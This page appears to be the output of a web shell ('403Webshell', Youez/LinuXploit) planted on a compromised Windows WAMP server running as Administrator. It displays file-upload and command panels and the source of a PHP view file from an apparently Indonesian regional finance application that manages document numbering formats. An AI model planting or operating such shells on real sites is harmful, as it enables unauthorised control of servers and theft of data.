403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/wamp/www/sipkd_2016/application/modules/penomoran/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/wamp/www/sipkd_2016/application/modules/penomoran/views/penomoran_view.php
  <style>
    .fieldsetX{
      width: 365px;
      border:1px solid #A6C9E2;
      /*margin:1px;
      margin-top:1px;
      margin-bottom:1px;*/
      font-family:Calibri;
      font-size:1.2em;
      text-decoration:none;
      border-radius: 5px 5px 5px 5px;
    }


    .legendX{
      width: 260px;
      font-style:Calibri;
      font-weight:bold;
      font-size:14px;
      padding:1px 2px ;
      border:1px solid #A6C9E2;
      border-radius: 5px 5px 5px 5px;
      margin-left:5px;
      margin-bottom:5px;
    }
    #list { font-family:Georgia, Times, serif; font-size:12px; }
    #list ul { list-style: none; margin-left:5px;}
    #list ul li { display:block; text-decoration:none; color:#000000; background-color:#FFFFFF; line-height:30px; border-bottom-style:solid; border-bottom-width:1px; border-bottom-color:#CCCCCC; padding-left:5px; cursor:pointer; }
  </style>

  <fieldset>
    <legend id="bc" ><?php echo $breadcrumbs;?></legend>
  </fieldset>
  <div class="controls-row">
    <div class="control-group pull-left">
        <table id="grid"></table>
        <div id="pager"></div>
    </div>
    <div class="control-group pull-right">
      <fieldset class='fieldsetX'>
        <legend class='legendX'>Variabel Penomoran Yang Dapat Digunakan</legend>
        <div id="list">
        <ul>
          <li><strong>{nomor:#:AN}</strong> Penomoran form diikuti jumlah digit. Bila :AN ditambahkan maka penomoran tidak memperhatikan variabel lainnya.</li>
          <li><strong>{skpd:#}</strong> 1.Kode SKPD &nbsp;2.Kode SKPD Lengkap</li>
          <li><strong>{tipe}</strong> Tipe Aktivitas</li>
          <li><strong>{tahun}</strong> Tahun sesuai dengan tanggal pencatatan</li>
          <li><strong>{bulan}</strong> Bulan sesuai dengan tanggal pencatatan</li>
          <li><strong>{triwulan}</strong> Triwulan sesuai dengan tanggal pencatatan</li>
          <li><strong>{keperluan}</strong> Keperluan belanja</li>
          <li><strong>{beban}</strong> Beban belanja</li>
          <li><strong>{adm}</strong> Kode Administrasi</li>
          <li><strong>{spp}</strong> Hanya berlaku untuk SPP/SPM/SP2D. Untuk belanja Gaji diisi 'GJ'. Selain itu diisi sesuai dengan keperluan.</li>
        </ul>
        </div>
      </fieldset>
    </div>
  </div>

<script type="text/javascript">
$(document).ready(function() {
  var last;
  $("#grid").jqGrid({
    url:'<?php echo base_url()?>penomoran/get_daftar',
    editurl:'<?php echo base_url()?>penomoran/proses_form',
    datatype:'json',
    mtype:'POST',
    colNames:['Formulir', 'Format Penomoran'],
    colModel:[
      {name:'nm', width:190, editable:false, sortable:false},
      {name:'tpl', width:300, editable:true, sortabl:false, edittype:'text', editoptions:{maxlength:200}}
    ],
    scroll:true,
    rowNum:1000000,
    rownumbers:true,
    pager:'#pager',
    viewrecords:true,
    gridview:true,
    width:550,
    height:350,
    shrinkToFit:false,
    recordtext:'{2} baris',
<?php 
  if ($akses === 3)
  {
?>
    ondblClickRow:edit_row,
    onSelectRow:restore_row,
<?php
  }
?>
    sortname:'tipe',
    sortorder:'asc'
  });
  $("#grid").jqGrid('bindKeys', { "onEnter": edit_row});
  $("#grid").jqGrid('navGrid', '#pager', {
  add:false,
  edit:<?php echo $akses === 3 ? 'true' : 'false' ?>,
  edittext: 'Ubah',
  editfunc:edit_row,
  del:false,
  search:false,
  refresh:true,
  refreshtext:'Refresh',
  },{},{},{},{});

  function edit_row(id){
    $(this).jqGrid('restoreRow', last);
    $(this).jqGrid('editRow', id, true, null, null, null, null, aftersavefunc, errorfunc, null);
    last = id;
  }

  function restore_row(id){
    if(id && id !== last){
      $(this).jqGrid('restoreRow',last);
      last = null;
    }
  }

  function aftersavefunc(id, resp){
    $(this).focus();
    var msg = $.parseJSON(resp.responseText);
    if (msg.isSuccess)
      show_info(msg.message, 'Sukses');
    else
      show_info(msg.message, 'Gagal');
    if(msg.id &&  msg.id != id)
      $("#"+id).attr("id", msg.id);
  }

  function errorfunc(id, resp){
    var msg = $.parseJSON(resp.responseText);
    if(msg.error) show_error(msg.error, 'Gagal')
    $('#grid').trigger('reloadGrid');
  }
});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit